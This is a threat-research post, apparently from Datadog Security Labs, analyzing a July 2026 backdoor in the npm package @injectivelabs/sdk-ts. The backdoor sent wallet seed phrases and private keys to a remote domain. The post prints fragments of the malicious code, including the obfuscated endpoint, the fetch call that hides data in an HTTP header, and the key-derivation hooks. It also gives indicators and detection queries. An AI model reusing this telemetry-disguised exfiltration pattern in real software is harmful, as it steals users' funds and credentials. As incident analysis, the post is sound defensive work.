---
title: "Not-so-anonymous telemetry: The @injectivelabs/sdk-ts backdoor"
description: "A malicious commit disguised as SDK telemetry briefly compromised @injectivelabs/sdk-ts, exfiltrating wallet mnemonics and private keys."
author: "Sebastian Obregoso, Christophe Tafani-Dereeper, Eslam Salem"
date: 2026-07-09
category: "emerging threats and vulnerabilities"
tags: ["software supply-chain security", "threat research"]
url: "https://securitylabs.datadoghq.com/articles/not-so-anonymous-telemetry-injectivelabs-sdk-ts-backdoor/"
---

## Key points and observations

- On July 8, 2026, version `1.20.21` of `@injectivelabs/sdk-ts` (an npm package with approximately 175,000 monthly downloads used by developers building on the Injective blockchain) was published with a hidden credential-stealing module disguised as SDK telemetry.
- The malicious code was injected through a [GitHub commit](https://github.com/InjectiveLabs/injective-ts/commit/01219285b16ce85c70cdf47a71a551ff5e41f1ed) that appears to originate from a legitimate maintainer.
- The malicious code hooked the two primary key-derivation entry points, `PrivateKey.fromMnemonic()` and `PrivateKey.fromHex()`, capturing raw Bitcoin Improvement Proposal 39 (BIP-39) mnemonic seed phrases and private keys at the moment a wallet is loaded.
- Captured secrets are base64-encoded and smuggled inside the `X-Request-Id` HTTP header of requests sent to a remote endpoint.
- The malicious version was live for approximately 49 minutes before the maintainer reverted the code in [another commit](https://github.com/InjectiveLabs/injective-ts/commit/7c4b1a092d8cbbcda469bda5a88db2a742d15b4a) and released the malware-free version `1.20.23`.

## What happened

Injective is a blockchain targeted at the finance industry, where users, institutions, and even AI agents can perform transactions. Developers interacting with this service can leverage the TypeScript SDK, [injective-ts](https://github.com/InjectiveLabs/injective-ts), published on npm under `@injectivelabs/sdk-ts`. This package has over 30,000 weekly downloads.

On July 8 at 8:24:40 p.m. UTC, commit [0121928](https://github.com/InjectiveLabs/injective-ts/commit/01219285b16ce85c70cdf47a71a551ff5e41f1ed) was pushed on GitHub with obfuscated code that exfiltrates users' private keys and seed phrases to a remote server.

## Investigating suspicious GitHub commits

The malicious commit was [pushed](https://github.com/InjectiveLabs/injective-ts/commit/01219285b16ce85c70cdf47a71a551ff5e41f1ed) directly to the main branch, which appears to be abnormal behavior for the committing user:

![The malicious commit 0121928, titled \"chore: add key derivation telemetry for SDK usage analytics,\" pushed directly to the master branch](https://securitylabs.dd-static.net/img/not-so-anonymous-telemetry-injectivelabs-sdk-ts-backdoor/malicious-commit-0121928-github.png?auto=format)
*The malicious commit 0121928, titled \"chore: add key derivation telemetry for SDK usage analytics,\" pushed directly to the master branch (click to enlarge)*

This commit contains the malicious source code in an obfuscated format.

A few minutes later, after continuous integration (CI) [failed](https://github.com/InjectiveLabs/injective-ts/actions/runs/28973958784/job/85977435073) to release the project due to linting warnings from prettier, two additional formatting commits ([fd105db](https://github.com/InjectiveLabs/injective-ts/commit/fd105db9073a21a3b58d5bd32622204ec8b57993) and [5486f13](https://github.com/InjectiveLabs/injective-ts/commit/5486f13e799d9c90095c5f581a04ad867d768f66)) were pushed:

![Sample follow-up malicious commit attempting to fix CI linting issues after having pushed malicious code](https://securitylabs.dd-static.net/img/not-so-anonymous-telemetry-injectivelabs-sdk-ts-backdoor/formatting-fix-commit-diff.png?auto=format)
*Sample follow-up malicious commit attempting to fix CI linting issues after having pushed malicious code (click to enlarge)*

By analyzing the Git metadata of these three commits, we determined that these commits were performed from a machine configured in the UTC-4 timezone, which had never occurred before for the user:

![Scatter plot of the committing user's UTC timezone offset over time, showing the malicious commits at UTC-4, a timezone never previously used by this user](https://securitylabs.dd-static.net/img/not-so-anonymous-telemetry-injectivelabs-sdk-ts-backdoor/commit-timezone-offset-anomaly-chart.png?auto=format)
*Scatter plot of the committing user's UTC timezone offset over time, showing the malicious commits at UTC-4, a timezone never previously used by this user (click to enlarge)*

Based on these elements, we assess these commits were performed by a malicious actor, while follow-up commits attempting to clean up the code were likely pushed by the legitimate developer.

## Analyzing the malicious payload

In the malicious commit, one new file **packages/sdk-ts/src/core/accounts/PrivateKey.ts** is introduced which contains code that looks legitimate as a telemetry collection file:

```javascript
/**
 * Key derivation telemetry — collects anonymized usage metrics for SDK optimization.
 *
 * Tracks which key derivation methods are used (hex vs mnemonic) and derives
 * timing patterns to help the SDK team identify performance bottlenecks and
 * understand adoption of different key formats across the ecosystem.
 *
 * All metrics are fire-and-forget and never block or affect key derivation.
 *
 * @category Telemetry
 */
```

The docblock claims that this is key derivation methods and timing, while analyzing the obfuscated code shows sensitive data is exfiltrated instead.

The code itself obfuscates the endpoint where the data is exfiltrated:

```c
const _e = [
  116, 101, 115, 116, 110, 101, 116, 46, 97, 114, 99, 104, 105, 118, 97, 108, 46,
  99, 104, 97, 105, 110, 46, 103, 114, 112, 99, 45, 119, 101, 98, 46, 105, 110, 106,
  101, 99, 116, 105, 118, 101, 46, 110, 101, 116, 119, 111, 114, 107,
]
const _d = () => _e.map((x) => String.fromCharCode(x)).join('')

const _ep = 'https://' + _d() + '/'
```

Which after deobfuscation is `testnet.archival.chain.grpc-web.injective[.]network`.

**Instead of the payload containing usage stats, it contains your private key material.**
Analyzing the rest of the code shows that `trackKeyDerivation(method, value)` is doing more than the docstring documents. The docstring claims that this function `Records the derivation method type and timing for usage analytics`, while in fact `value` is pushed into the queue to be later sent over the network to the exfiltration domain:

```javascript
_q.push(`${method}:${value}:${Date.now()}`)
```

The sending part is also partially obfuscated, and the payload is exfiltrated through the `X-Request-Id` header:

```javascript
function _send(d: string): void {
  try {
    if (typeof fetch !== 'undefined') {
      fetch(_ep, {
        method: 'POST',
        headers: { 'Content-Type': 'application/grpc-web+proto', 'X-Request-Id': d },
        ...(typeof window !== 'undefined' ? { keepalive: true } : {}),
      }).catch(() => {})
      return
    }
  } catch {}
```

The commit includes two hooks in the primary key-derivation functions `fromMnemonic` and `fromHex` of `PrivateKey` that are executed when wallets are loaded, effectively triggering the exfiltration by calling the malicious `trackKeyDerivation` function:

1. **packages/sdk-ts/src/core/accounts/PrivateKey.ts**

```javascript
static fromMnemonic(
    words: string,
    path: string = DEFAULT_DERIVATION_PATH,
  ): PrivateKey {
    trackKeyDerivation('fm', words) // <-- SEED PHRASE SENT TO EXFIL DOMAIN
    const hdNodeWallet = HDNodeWallet.fromPhrase(words, undefined, path)
```

`words` here is the full mnemonic seed phrase - the 12/24-word phrase that gives complete, permanent control over every key and address derivable from it.

![Diff of PrivateKey.ts showing the trackKeyDerivation('fm', words) hook added inside fromMnemonic(), which sends the full mnemonic seed phrase to the exfiltration domain](https://securitylabs.dd-static.net/img/not-so-anonymous-telemetry-injectivelabs-sdk-ts-backdoor/frommnemonic-trackkeyderivation-hook-diff.png?auto=format)
*Diff of PrivateKey.ts showing the trackKeyDerivation('fm', words) hook added inside fromMnemonic(), which sends the full mnemonic seed phrase to the exfiltration domain (click to enlarge)*

2. **packages/sdk-ts/src/core/accounts/PrivateKey.ts**

```javascript
static fromHex(privateKey: string | Uint8Array): PrivateKey {
    trackKeyDerivation(
      'fh',
      typeof privateKey === 'string' ? privateKey : 'bytes',
    ) // <-- RAW PRIVATE KEY SENT TO EXFIL DOMAIN
    const isString = typeof privateKey === 'string'
```

In this spot it exfiltrates the actual private key, but only if the `privateKey` is passed in as a string.

![Diff of PrivateKey.ts showing the trackKeyDerivation('fh', privateKey) hook added inside fromHex(), which sends the raw private key to the exfiltration domain when passed as a string](https://securitylabs.dd-static.net/img/not-so-anonymous-telemetry-injectivelabs-sdk-ts-backdoor/fromhex-trackkeyderivation-hook-diff.png?auto=format)
*Diff of PrivateKey.ts showing the trackKeyDerivation('fh', privateKey) hook added inside fromHex(), which sends the raw private key to the exfiltration domain when passed as a string (click to enlarge)*

## Remote exfiltration endpoint

The GitHub issue that first reported the compromise identified the exfiltration destination as `hexhole.injective[.]network`. We independently reverse-engineered the module and determined that the domain constructed at runtime does not match that reported value.

The actual destination is `testnet.archival.chain.grpc-web.injective[.]network`, a domain built to look like a legitimate Injective testnet archival node reachable over gRPC-Web.

At time of writing, testing the endpoint with a sample payload seems to indicate that the remote endpoint used for exfiltration is still alive and accepting requests.

![Testing the exfiltration endpoint testnet.archival.chain.grpc-web.injective.network with a sample base64-encoded payload in the X-Request-Id header shows the endpoint is still alive and accepting requests](https://securitylabs.dd-static.net/img/not-so-anonymous-telemetry-injectivelabs-sdk-ts-backdoor/exfil-endpoint-live-test-curl.png?auto=format)
*Testing the exfiltration endpoint testnet.archival.chain.grpc-web.injective.network with a sample base64-encoded payload in the X-Request-Id header shows the endpoint is still alive and accepting requests (click to enlarge)*

## How the maintainer and community responded

The compromise was first surfaced publicly in [GitHub issue #697](https://github.com/InjectiveLabs/injective-ts/issues/697) on the `injective-ts` repository, where a security researcher laid out the exfiltration mechanism and named the (at the time) reported command and control (C2) domain. The same developer that pushed the malicious code replied indicating that moments ago the malicious version was flagged as compromised on npm, and closed the issue.

Datadog also privately reached out to the company to make them aware of the situation.

## How Datadog can help

[Datadog Code Security](https://docs.datadoghq.com/security/code_security/) can identify hosts, containers, and build environments where the compromised version was installed. Use the following query in the [Library Inventory](https://app.datadoghq.com/security/code-security/sca) to scope affected systems:

```
library_name:(@injectivelabs/sdk-ts) library_version:(1.20.21)
```

Hunt for follow-on activity by analyzing exfiltration traffic across logs using [Datadog Log Management](https://docs.datadoghq.com/logs/):

```
@dns.question.name:testnet.archival.chain.grpc-web.injective.network OR @network.destination.domain:testnet.archival.chain.grpc-web.injective.network OR @http.url:*testnet.archival.chain.grpc-web.injective.network*
```

## Timeline
| Time (UTC) | Event |
|---|---|
| July 8, 8:24:40 p.m. | Malicious commit pushed on GitHub ([0121928](https://github.com/InjectiveLabs/injective-ts/commit/01219285b16ce85c70cdf47a71a551ff5e41f1ed)) |
| July 8, 8:48:14 p.m. | Second commit pushed with formatting changes to the malicious code ([fd105db](https://github.com/InjectiveLabs/injective-ts/commit/fd105db9073a21a3b58d5bd32622204ec8b57993)) |
| July 8, 8:54:02 p.m. | Third commit pushed with further formatting changes to the malicious code ([5486f13](https://github.com/InjectiveLabs/injective-ts/commit/5486f13e799d9c90095c5f581a04ad867d768f66)) |
| July 8, 8:56:33 p.m. | Release commit pushed on GitHub in order to initiate the release of version 1.20.21 ([c826399](https://github.com/InjectiveLabs/injective-ts/commit/c82639921b186d09238817764faf86bc838355d4)) |
| July 8, 8:59:28 p.m. | Version 1.20.21 of @injectivelabs/sdk-ts [released](https://registry.npmjs.org/@injectivelabs/sdk-ts/1.20.21) on npm |
| July 8, 9:16:32 p.m. | Commit [7c4b1a0](https://github.com/InjectiveLabs/injective-ts/commit/7c4b1a092d8cbbcda469bda5a88db2a742d15b4a) reverts the malicious changes, and rolls back the version from 1.20.21 to 1.20.20 |
| July 8, 9:20:30 p.m. | Commit [42a5a83](https://github.com/InjectiveLabs/injective-ts/commit/42a5a83da1c59ced55c20e66c5b3fe7366e6e471) attempts to perform a new release of version 1.20.21, which fails |
| July 8, 9:41:24 p.m. | Commit [4c37b4a](https://github.com/InjectiveLabs/injective-ts/commit/4c37b4aec02111f08dbcb7ec96ee58c556eae19c) attempts to manually bump the version to 1.20.22, ignoring that the release pipeline already takes care of it |
| July 8, 9:44:53 p.m. | Commit [bf2f323](https://github.com/InjectiveLabs/injective-ts/commit/bf2f3237dbc50dddbcbbec0023cf3d31590db109) performs a new release, releasing version 1.20.23 with no apparent malicious code |
| July 8, 9:48:03 p.m. | Version 1.20.23 published with no malicious code |
| July 8, 10:07:59 p.m. | A community member opens issue [#697](https://github.com/InjectiveLabs/injective-ts/issues/697) to report the compromised package |
| July 8, 10:19:00 p.m. | The affected maintainer [acknowledges](https://github.com/InjectiveLabs/injective-ts/issues/697#issuecomment-4919718904) the issue |

## Indicators of compromise
### Affected package:
| Type | Name | Affected versions |
|---|---|---|
| npm package | @injectivelabs/sdk-ts | 1.20.21 |

### Command and control server:

```
https://testnet.archival.chain.grpc-web.injective[.]network
```
